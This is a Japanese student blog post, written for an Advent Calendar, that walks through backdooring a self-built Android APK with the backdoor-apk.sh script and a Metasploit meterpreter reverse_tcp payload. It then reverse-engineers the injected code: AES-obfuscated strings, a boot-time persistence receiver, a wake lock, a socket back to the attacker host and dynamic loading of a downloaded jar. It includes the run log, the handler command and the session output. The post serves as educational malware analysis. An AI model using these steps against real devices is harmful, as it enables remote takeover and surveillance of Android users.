BackDoorAPK解析してみた
BackDoorAPK解析してみた
ネットサーフィンをしていたら既存のAPKファイルにmaliciousなコードを挿入できるプログラムを見つけました。
そこで、実際にどのような動作をするのかと、どのようなコードが挿入されることで悪意ある動作を引き起こすのかを知りたくなったので実際に調査することにしました。
目次
注意事項
これから行うことは全てあくまで教育目的であり、悪意ある目的で行わないでください。
それによってどのような被害が発生しても私は責任を負いかねます。
筆者の環境
- Windows 11
- Kaliが動作しているサーバー
- Android 8.1(API27, Root化済み)
- Android Studio ArcticFox
- 使用言語 Kotlin
事前準備
実際にAPKにmaliciousなコードを挿入する前にやっておくことが複数あるので行います。
挿入するAPKの作成
実際に既に存在するAPKに対してmaliciousなコードを挿入しても良いのですが、今回は挿入した後にReversingを行いたいので実際に自分で専用のAPKを新規に作成した方が後々やりやすいでしょう。
そんなわけでさくっと最低限の処理だけを行うアプリを作成しました。
DI等のModuleは使用していますが、処理自体はHello World!
という文字列を表示するだけのAPKです。
今回、compileSdkやtargetSdkは以下のようにしました。
android { compileSdk 31 defaultConfig { applicationId "com.websarva.wings.android.backdoorapk" minSdk 16 targetSdk 30 versionCode 1 versionName "1.0" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } // ... }
続いてManifest
なのですが、私はここでとある記述が不足していたためにmaliciousなコードを挿入するプログラムが正常に動作しないという問題に陥ったので注意してください。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" package="com.websarva.wings.android.backdoorapk"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <!-- ... --> </manifest>
<uses-permission>
というタグは必ず記述するようにしてください。(追加する権限は何でもいいです)
調べた感じだと、このタグを認識することで挿入するコードに適した権限をここに自動で追記していくようなので...。
後はrelease
ビルドで署名してエクスポートすれば使用するAPKの準備は終了です。
malisiousなコードを挿入するプログラムのダウンロード
私の場合はリアルワールドに似せたかったので、実際にKaliサーバーを立ててこれ以降の操作を行いました。
既存のAPKにmaliciousなコードを挿入するプログラムがgithub上で公開されていたのでますはそのリポジトリをcloneします。
ここではURLは公開しなので、興味のある人はDana James Traversie
, backdoor-apk
, github
といった感じで検索して探してください。
必要ライブラリのインストール
どうやら必要なライブラリが複数あるようなので、必要に応じて以下のライブラリを適宜インストールしてください。
・lib32z1 (apt install) ・lib32ncurses6 (apt install) ・lib32stdc++6 (apt install) ・msfvenom (kaliならdefault) ・baksmali (apt install) ・unzip (apt install) ・keytool (apt install) ・jarsigner (apt install) ・apktool (https://ibotpeaches.github.io/Apktool/install/)
実践
ここからは実際に先ほど作成したAPKとダウンロードしたプログラムを使いmaliciousなコードを挿入してみましょう。
maliciousなコードをAPKに挿入する
このbackdoor-apk.sh
がmaliciousなコードを挿入するプログラム(以下、スクリプト)になります。
この際、挿入対象のAPKは必ず下記の画像の様にスクリプトと同じ階層に配置してください。
後は以下の様にスクリプトを実行するだけです。
root# ./backdoor-apk.sh BackDoorAPK.apk
途中に攻撃をListenするIPアドレスやポート、通信形式を聞かれるので任意に選択してください。
今回私はreverse_tcp
を選択してAndroidManifest.xml
に関しては自動で追記するように設定しました。
エミュレータの場合はhttp
やhttps
の方を選ぶのをお勧めします。
________ / ______ \ || _ _ || ||| || ||| AAAAAA PPPPPPP KKK KKK |||_||_||| AAA AAA PPP PPP KKK KKK || _ _o|| (o) AAA AAA PPP PPP KKKKKK ||| || ||| AAAAAAAA PPPPPPPP KKK KKK |||_||_||| AAA AAA PPP KKK KKK ||______|| AAA AAA PPP KKK KKK /__________\ ________|__________|__________________________________________ /____________\ |____________| Dana James Traversie [*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018 [+] Android payload options: 1) meterpreter/reverse_http 4) shell/reverse_http 2) meterpreter/reverse_https 5) shell/reverse_https 3) meterpreter/reverse_tcp 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: x.x.x.x [?] Please enter an LPORT value: xxx [+] Android manifest permission options: 1) Keep original 2) Merge with payload and shuffle [?] Please select an Android manifest permission option: 2 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [*] Decompiling original APK file...done. [*] Locating smali file to hook in original project...done. [+] Package where RAT smali files will be injected: com/websarva/wings/android/backdoorapk [+] Smali file to hook RAT payload: com/websarva/wings/android/backdoorapk/di/Application.smali [*] Generating RAT APK file...done. [*] Decompiling RAT APK file...done. [*] Merging permissions of original and payload projects...done. [*] Injecting helpful Java classes in RAT APK file...done. [*] Creating new directory in original package for RAT smali files...done. [+] Inject package path: com/websarva/wings/android/backdoorapk/ikokd [+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym [+] Generated new smali class name for MainService.smali: Aupyx [+] Generated new smali class name for Payload.smali: Nwiuc [+] Generated new smali class name for StringObfuscator.smali: Abnrw [+] Generated new smali method name for StringObfuscator.obfuscate method: icobf [+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik [*] Copying RAT smali files to new directories in original project...done. [*] Fixing RAT smali files...done. [*] Obfuscating const-string values in RAT smali files...done. [*] Adding hook in original smali file...done. [*] Adding persistence hook in original project...done. [*] Recompiling original project with backdoor...done. [*] Generating RSA key for signing...done. [*] Signing recompiled APK...done. [*] Verifying signed artifacts...done. [*] Aligning recompiled APK...done.
スクリプトがエラー無く、最後まで実行されると成功です。
maliciousなコードが挿入されたAPKはoriginal/dist
に作成され、metasploitと通信するためのスクリプトはbackdoor-apk.rc
というファイル名で作成されています。
動作確認
実際に端末にmaliciousなコードが挿入されたAPKをインストールして動作を確認してみます。
注意:セキュリティ的観点から動作検証が終わった後は、インストールしたAPKファイルを端末からアンインストールすることを強く推奨します。
metasploitをbackdoor-apk.rc
をオプションに指定して起動しましょう。
root# ./msfconsole -r backdoor-apk.rc
この状態になるとパケットが飛んでくるのを待つListen状態になります。
続いて端末にAPKをインストールして起動してみましょう。
表面上の処理は何も変わっていないように思えますね。
しかし実際はこの時点でmaliciousなコードが実行されています。
その証拠に先ほどのmetasploitの画面を見てみましょう。
metasploitの方にパケットが飛んできているのを確認できます。
後はsessionsコマンドを実行すればshellを取得できます。
msf6 exploit(multi/handler) > session 1 meterpreter >
実行できるコマンド集は以下のリンクで記載されているのでぜひ試してみてください。
備考:Android6.0
以降では権限の確認の仕様が変更となり、一部の権限はコード上に特殊な処理を記述しないとたとえAndroidmanifest
に権限を記述していても無効となるように変更されました。そのため、一部のコマンドは正常に動作しない可能性があります。
解析
先ほどまでは実際に実行して動作を確認したので、今度はどのようなコードが挿入されることでこのようなことが可能になっているのかをReversingすることで解明していきたいと思います。
考察
いきなり解析作業に入ってもいいのですが、その前に開発者的視点から少し考察してみます。
その方が処理を把握しやすいので。
- アプリがbackground状態になってもshellを取得できている。
- serviceが動いているのではないか。
- 端末をスリープモードにしてもshellが取れている。
- Wakelock系統の設定が行われている可能性がある。
これらのことを踏まえたうえで解析作業を行っていきましょう。
解析作業
ツールは基本的に以下の物を使用します。
・jadx-gui (https://github.com/skylot/jadx) ・Android Studio ・apkx (https://github.com/b-mueller/apkx)
まずjadx-gui
にはコメントを書く機能等は存在しないため、apkx
とAndroid Studio
を用いて適宜コメントを残してReversingがしやすいようにします。
$ apkx BackDoorAPK.apk
上記のコマンドを実行するとAPKがデコンパイルされて、新しくフォルダとして生成されるのでその中のsrc/packageName
をコピーしてAndroid Studio
のjava
ディレクトリ直下にペーストします。
私の環境では以下のようになります。
以降はここにコメント等を書いて処理を把握しやすくしましょう。
それではjadx-gui
に改ざんされたAPKをロードさせて本格的な解析作業に入ります。
まず、Manifest
を見てみます。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="com.websarva.wings.android.backdoorapk" platformBuildVersionCode="31" platformBuildVersionName="12"> <!-- ... --> <application android:theme="@style/Theme.BackDoorAPK" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:name="com.websarva.wings.android.backdoorapk.di.Application" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <!-- ... --> <receiver android:name="com.websarva.wings.android.backdoorapk.fxldo.Rthat"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:name="com.websarva.wings.android.backdoorapk.fxldo.Tqnln" android:exported="true"/> </application> </manifest>
重要な部分だけを抜き出してみました。
やはり考察通りに<service>
タグでservice
クラスが挿入されていますね。
serviceクラスは以下のようなコードで成り立っています。
ちなみにですが、このTqnln
クラスのFindUsageを見てみるとstart
メソッドがdi.Application
で呼び出されていることが分かります。
備考ですが、追加されたmaliciousなクラス名は毎回(生成する度に)変わります。
di.Application
は私がAPK作成時にモジュールの関係で予め作成しておいたクラスです。
// ... @Metadata(d1 = {"\u0000\u0012\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0003\u001a\u00020\u0004H\u0016¨\u0006\u0005"}, d2 = {"Lcom/websarva/wings/android/backdoorapk/di/Application;", "Landroid/app/Application;", "()V", "onCreate", "", "app_release"}, k = 1, mv = {1, 6, 0}, xi = 48) @HiltAndroidApp /* compiled from: Application.kt */ public final class Application extends Hilt_Application { public Application() { Tqnln.start(); } @Override // com.websarva.wings.android.backdoorapk.di.Hilt_Application public void onCreate() { super.onCreate(); } }
コードを見るとApplication
クラスのコンストラクタでTqnln.start()
が呼び出されています。
つまりアプリを起動した時点でmaliciousな処理が走る原因はここということになります。
引き続きTqnln
クラスを見ていきます。
するとmethod
変数に代入されるforName
とgetMethod
の引数が暗号化されているように感じます。
Method method = Class.forName(Xfxbq.mppcg("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ")).getMethod(Xfxbq.mppcg("xPMCeRNBkNjD6UwLrz+BZVCdizq4OKBKpECFeYxAtKNKoQ=="), new Class[0]);
Xfxbq.mppcg
メソッドを見て処理を確認しましょう。
案の定、文字列がAES
で暗号化されていてmppcg
メソッドはそれを復号化するメソッドのようです。
カギに関する情報も全てハードコードされている様なので簡単に復号化できそうなので、複合化するプログラムをささっと作りました。
public class AESDecrypt { public static void main(String[] args) throws Exception { byte[] DECODED_KEY = Base64.getDecoder().decode("OYpcB+Vi8ha02y4OOrUUdA==".getBytes("UTF-8")); byte[] cipherText = Base64.getDecoder().decode("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ".getBytes("UTF-8")); Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding"); SecretKeySpec secKeySpec = new SecretKeySpec(DECODED_KEY, "AES"); byte[] iv = new byte[16]; System.arraycopy(cipherText, 0, iv, 0, iv.length); IvParameterSpec ivParamSpec = new IvParameterSpec(iv); byte[] encryptedBytes = new byte[cipherText.length - iv.length]; System.arraycopy(cipherText, iv.length, encryptedBytes, 0, encryptedBytes.length); cipher.init(Cipher.DECRYPT_MODE, secKeySpec, ivParamSpec); System.out.println(new String(cipher.doFinal(encryptedBytes), "UTF-8")); } }
ちなみに今回はforName
の方がandroid.app.ActivityThread
でgetMethod
の方がcurrentApplication
でした。
そしてstartService
が呼び出されてサービスが開始されます。
serviceが開始されるとonStartCommand
が呼び出されます。
public int onStartCommand(Intent intent, int i, int i2) { Jqpjx.start(this); return 1; }
onStartCommnad
ではJqpjx.start
が呼び出されています。
start
メソッドでは同クラス内のメソッドであるstartInPath
メソッドがアプリの内部ストレージファイルのパスを引数にして呼び出されています。
private static final byte[] a = {4, 0, 0, 0, 0, 0, 0, ...} // ... private static Object[] h; // ... public static void startInPath(String str) { h = new Object[]{str, a}; new e().start(); }
そしてObject配列h
にパスとバイト配列が代入されてe().start
が呼び出されています。
e()
はThreadなのでrun()
メソッドが呼ばれていることと同義です。
run()
メソッドではJqpjx.main(null)
が呼び出されています。
a a2 = b.a(a); if (a2.d != null && !a2.d.isEmpty()) { if ((a2.a & 4) == 0 || b == null) { wakeLock = null; // ...
b.a
メソッドの引数には先ほどのObject配列h[1]
に代入されていたbyte配列a
が用いられて、その戻り値によってこの先の処理がかなり変化しそうなのでb.a
メソッドを詳しく見てみます。
かなり面倒くさそうなデータの復号化の様な処理が記述されていますね...。
ただこちらも、頑張って復号化プログラムを書けば問題なさそうな予感もするのでとりあえず書いてみました。
// ... public class decodeCipher { private static int a(byte[] bArr, int i) { int i2 = 0; for (int i3 = 0; i3 < 4; i3++){ i2 |= (bArr[i3 + i] & 255) << (i3 << 3); } return i2; } public static void main(String[] args) { byte[] bArr = new byte[]{4, 0, 0, 0, 0, ....}; a aVar = new a(); aVar.a = a(bArr, 0); aVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, 12)); b(bArr, 16, 16); b(bArr, 32, 16); int i = 48; if((aVar.a & 1) != 0){ aVar.c = a(bArr, 8000, 100); } while(bArr[i] != 0){ g gVar = new g(); gVar.a = a(bArr, i, 512); int i2 = i + 512 + 4; gVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i2)); int i3 = i2 + 4; gVar.c = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i3)); i = i3 + 4; if(gVar.a.startsWith("http")){ a(bArr, i, 128); int i4 = i + 128; a(bArr, i4, 64); int i5 = i4 + 64; a(bArr, i5, 64); int i6 = i5 + 64; gVar.d = a(bArr, i6, 256); int i7 = i6 + 256; gVar.e = null; byte[] b = b(bArr, i7, 20); int i8 = i7 + 20; int i9 = 0; while(true){ if(i9 >= b.length){ break; }else if(b[i9] != 0){ gVar.e = b; break; }else { i9++; } } StringBuilder sb = new StringBuilder(); int length = bArr.length; for(int i10 = i8; i10 < length; i10++){ byte b2 = bArr[i10]; if(b2 == 0){ break; } sb.append((char) (b2 & 255)); } String sb2 = sb.toString(); gVar.f = sb2; i = sb2.length() + i8; } aVar.d.add(gVar); } aVar.println(); g gVar = (g) aVar.d.get(0); gVar.println(); } private static String a(byte[] bArr, int i, int i2){ byte[] b = b(bArr, i, i2); try{ return new String(b, "ISO-8859-1").trim(); } catch(UnsupportedEncodingException e){ return new String(b).trim(); } } private static byte[] b(byte[] bArr, int i, int i2){ byte[] bArr2 = new byte[i2]; System.arraycopy(bArr, i, bArr2, 0, i2); return bArr2; } } final class a { int a; long b; String c; List d = new LinkedList(); void println(){ System.out.println("a.a: " + a); System.out.println("a.b: " + b); System.out.println("a.c: " + c); } } final class g { String a; long b; long c; String d; byte[] e; String f; void println(){ System.out.println("g.a: " + a); System.out.println("g.b: " + b); System.out.println("g.c: " + c); System.out.println("g.d: " + d); System.out.println("g.f: " + f); } }
maliciousなコードを挿入する際にreverse_tcp
を選択した場合はg.a変数にtcp://x.x.x.x:xxx
という形式で入力したIPアドレスとポートが表示されているのではないでしょうか。
元の処理(mainメソッド)に戻ると考察通りにWakelock
系の設定があるのが確認できます。
} else { PowerManager.WakeLock newWakeLock = ((PowerManager) b.getSystemService(Xfxbq.mppcg("qO31ImUyuA3BnYqJTTe/k/0prmUw"))).newWakeLock(1, Jqpjx.class.getSimpleName()); newWakeLock.acquire(); wakeLock = newWakeLock; }
暗号化された文字列はAESDecryptプログラムで復号化するとpower
になります。
また、getSystemService
, power
, newWakeLock
でドキュメントを調べて、定数1で調べるとPARTIAL_WAKE_LOCK
だとわかります。
PARTIAL_WAKE_LOCK
を設定することでユーザが電源ボタンを押して、端末がスリープモードになったとしてもアプリがバックグラウンドで動作し続けることが可能になります。
gVar = (g) a2.d.get(0); String str = gVar.a; // ... if (str.startsWith(Xfxbq.mppcg("KGsE4jDc7kzn3KfRSdl06H5Mcg=="))) { // tcp String[] split = str.split(Xfxbq.mppcg("pRDGnvj68J5dJhEPZRAtWJI=")); // : int parseInt = Integer.parseInt(split[2]); String str2 = split[1].split(Xfxbq.mppcg("7zi+5DRHYvHgeqUGG/8pyk8="))[2]; // / if (str2.equals(Xfxbq.mppcg("Rzq+IoCJz696k5yjqgV8ng=="))) { // blank(empty) ServerSocket serverSocket = new ServerSocket(parseInt); socket = serverSocket.accept(); serverSocket.close(); } else { socket = new Socket(str2, parseInt); } if (socket != null) { a(new DataInputStream(socket.getInputStream()), new DataOutputStream(socket.getOutputStream()), h); } }
a2
変数はb.a
メソッドの戻り値で、g.a
にはIPアドレスとポートが代入されていたことは今までの調査で判明しています。
そしてここでは、tcp://x.x.x.x.:xxx
という文字列からIPアドレスとポート番号を抽出してソケットを作成して通信を行っています。
ソケットが無事に作成された場合にはaメソッドが呼ばれます。
この際のa
メソッドの第3引数には前に出てきたObject配列h
が渡されます。
a
メソッドの処理を見ていきます。
String str = (String) objArr[0]; String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36); String str3 = str2 + Xfxbq.mppcg("oQKTcZFAQHkbvjzrBKsxz1izGU8="); // .jar String str4 = str2 + Xfxbq.mppcg("FuY2icS3rdPbkeFLeYMgrA/vdo4="); // .dex // ... byte[] a2 = a(dataInputStream); File file = new File(str3); if (!file.exists()) { file.createNewFile(); }
str
変数には内部ストレージのfiles
ディレクトリのパスが代入されます。
何か難しそうに書いてありますが、要するにpackageName/files/xxx.jar
ファイルを作成してるだけです。
String str5 = new String(a(dataInputStream)); byte[] a2 = a(dataInputStream); // ... FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(a2); fileOutputStream.flush(); fileOutputStream.close();
上記の部分で作成したファイルにソケット先から取得したdataを書き込んでいます。
Class loadClass = new DexClassLoader(str3, str, str, Jqpjx.class.getClassLoader()).loadClass(str5); Object newInstance = loadClass.newInstance(); file.delete(); new File(str4).delete(); loadClas.getMethod(Xfxbq.mppcg("x7Xdyof9qxGVe3rKABF35SRwVj05"), DataInputStream.class, OutputStream.class, Object[].class).invoke(newInstance, dataInputStream, outputStream, objArr);
その後に動的ClassLoader
を用いて外部からダウンロードしたjar
ファイルのクラス内のメソッドを実行しています。
つまり、ここで任意の処理を実行できる余地が発生します。
ちなみに今回は解説しませんが、httpやhttpsの際の処理もやってることはほとんど変わりません。(User-Agent等をRequestで送信するといった処理はありますが)
おわりに
今回実際にmaliciousなコードを挿入されたAPKの動作確認と解析を行ってみましたが、最近の端末だと多少被害を抑えられるかなという感じでした。
現状でもリモート経由で追加のアプリのインストールやアプリの起動、外部ストレージの書き込みと読み取りぐらいはRootがなくても出来るので、あまり安心はしない方が良いですが..。
解析に関しては、今回の挿入されたコード自体がかなり簡単だと思ったので初心者には結構おすすめなのではないかなと思いました。
また、暗号化された文字列等についても私は別途プログラムを作成して復号化しましたが、Frida等を使えばもう少し楽だったのではないか?と後になって気が付きました...。
この記事はIPFactory Advent Calendar 2021の12月23日分です。
IPFactoryというサークルについてはこちらをご覧ください.
昨日12月22日はfutabato先輩による「MBSD Cybersecurity Challenges 2021 参加記」でした。
明日12月24日もfutabato先輩による「Machine Learning for Web Vulnerability Detection: The Case of Cross-Site Request Forgery」です。
お楽しみに。